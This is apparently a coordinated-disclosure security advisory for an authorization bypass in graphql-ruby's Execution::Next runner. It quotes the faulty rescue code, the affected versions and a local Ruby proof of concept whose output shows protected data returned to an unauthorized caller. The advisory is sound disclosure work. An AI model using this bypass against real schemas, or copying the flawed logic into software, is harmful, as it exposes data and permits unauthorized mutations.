Coordinated Disclosure Timeline

Summary

GraphQL::Schema::Resolver#call (used by the Execution::Next Runner) catches GraphQL::UnauthorizedError from a resolver’s authorized? hook and incorrectly sets is_authed = true, causing resolve to run and its data to be returned to the client despite the authorization failure. This bypasses the library’s documented raise UnauthorizedError authorization pattern for any schema using Execution::Next.

Project

graphql-ruby

Tested Version

v2.6.5 (commit 8b9f621); reproduced on v2.6.1

Details

Resolver authorization bypass in Execution::Next (Runner) path: authorized? raising UnauthorizedError still executes resolve (GHSL-2026-152)

In lib/graphql/schema/resolver.rb (v2.6.5, lines 82-96), when a resolver’s instance authorized? method raises GraphQL::UnauthorizedError, the rescue block sets is_authed = true and then the following if is_authed branch calls call_resolve(@prepared_arguments), executing the resolver’s resolve method:

https://github.com/rmosolgo/graphql-ruby/blob/8b9f621/lib/graphql/schema/resolver.rb#L82-L96

if is_ready
  begin
    is_authed, new_return_value = authorized?(**@prepared_arguments)
  rescue GraphQL::UnauthorizedError => err
    new_return_value = q.schema.unauthorized_object(err)  # default returns nil
    is_authed = true # BUG: should be false — the error was NOT successfully handled
  end
end

# ... lazy sync ...

result = if is_authed   # true, even though auth failed
  Schema::Validator.validate!(...)
  call_resolve(@prepared_arguments)  # resolver executes despite failed authorization
elsif new_return_value.nil?
  err = UnauthorizedFieldError.new(...)
  context.schema.unauthorized_field(err)
else
  new_return_value
end

The default Schema.unauthorized_object returns nil (lib/graphql/schema.rb:1303-1305), so new_return_value is discarded and the if is_authed branch is taken. This code path is only reached via the Execution::Next Runner (Resolver#call); the legacy Interpreter uses resolve_with_support (lines 143-191), where authorized? runs inside after_lazy and the raised UnauthorizedError correctly propagates to the Runtime error handler, preventing resolver execution.

Introduced by commit de18ad205c (“Handle auth errors”). Affected range: >= 2.5.23, <= 2.6.5 (HEAD at time of report).

Proof of concept

Save the following as poc_graphql_authz.rb alongside a checkout of graphql-ruby, then run under Ruby 3.3:

git clone --depth 1 https://github.com/rmosolgo/graphql-ruby.git
docker run --rm -v "$PWD":/work -w /work ruby:3.3-slim ruby poc_graphql_authz.rb
#!/usr/bin/env ruby
$LOAD_PATH.unshift File.expand_path("graphql-ruby/lib", __dir__)
require "graphql"
puts "graphql-ruby version: #{GraphQL::VERSION}"

$resolve_called = false
$resolve_called_legacy = false

class SecretMutation < GraphQL::Schema::Mutation
  type String, null: true
  def authorized?(**_args)
    raise GraphQL::UnauthorizedError.new("nope", object: object, type: self.class, context: context)
  end
  def resolve(**_args)
    $resolve_called = true
    "TOP SECRET DATA"
  end
end

class SecretMutationLegacy < GraphQL::Schema::Mutation
  type String, null: true
  def authorized?(**_args)
    raise GraphQL::UnauthorizedError.new("nope", object: object, type: self.class, context: context)
  end
  def resolve(**_args)
    $resolve_called_legacy = true
    "TOP SECRET DATA"
  end
end

class QueryType < GraphQL::Schema::Object
  field :ping, String, null: false
  def ping; "pong"; end
end

class MutationType < GraphQL::Schema::Object
  field :secret_mutation, mutation: SecretMutation
  field :secret_mutation_legacy, mutation: SecretMutationLegacy
end

class TestSchema < GraphQL::Schema
  query QueryType
  mutation MutationType
  use GraphQL::Execution::Next
end

puts "\n=== Execution::Next (Runner) path ==="
puts "Result: #{TestSchema.execute_next('mutation { secretMutation }').to_h.inspect}"
puts "resolve() called: #{$resolve_called}"

puts "\n=== Legacy Interpreter path ==="
puts "Result: #{TestSchema.execute('mutation { secretMutationLegacy }').to_h.inspect}"
puts "resolve() called: #{$resolve_called_legacy}"

Observed output on 2.6.1:

=== Execution::Next (Runner) path ===
Result: {"data"=>{"secretMutation"=>"TOP SECRET DATA"}}
resolve() called: true
=== Legacy Interpreter path ===
Result: {"data"=>{"secretMutationLegacy"=>nil}}
resolve() called: false

The Runner path both executes resolve() (side effects run) and returns the secret data to the unauthorized caller; the legacy path correctly blocks execution.

Impact

Any schema using use GraphQL::Execution::Next that follows the documented pattern of raising GraphQL::UnauthorizedError from a Resolver’s authorized? method will have resolve executed and its return value returned to the caller regardless of authorization. This yields full authorization bypass for affected resolvers: unauthorized data disclosure, unauthorized mutation side effects (DB writes, external API calls, deletions), and privilege escalation. The default Schema.unauthorized_object (returning nil) is sufficient to trigger the bypass; only overrides that themselves raise mitigate it.

CWEs

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent as part of Project Glasswing, a cross-industry initiative to secure critical open-source software using frontier AI models, and manually verified by GHSL team members.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-152 in any communication regarding this issue.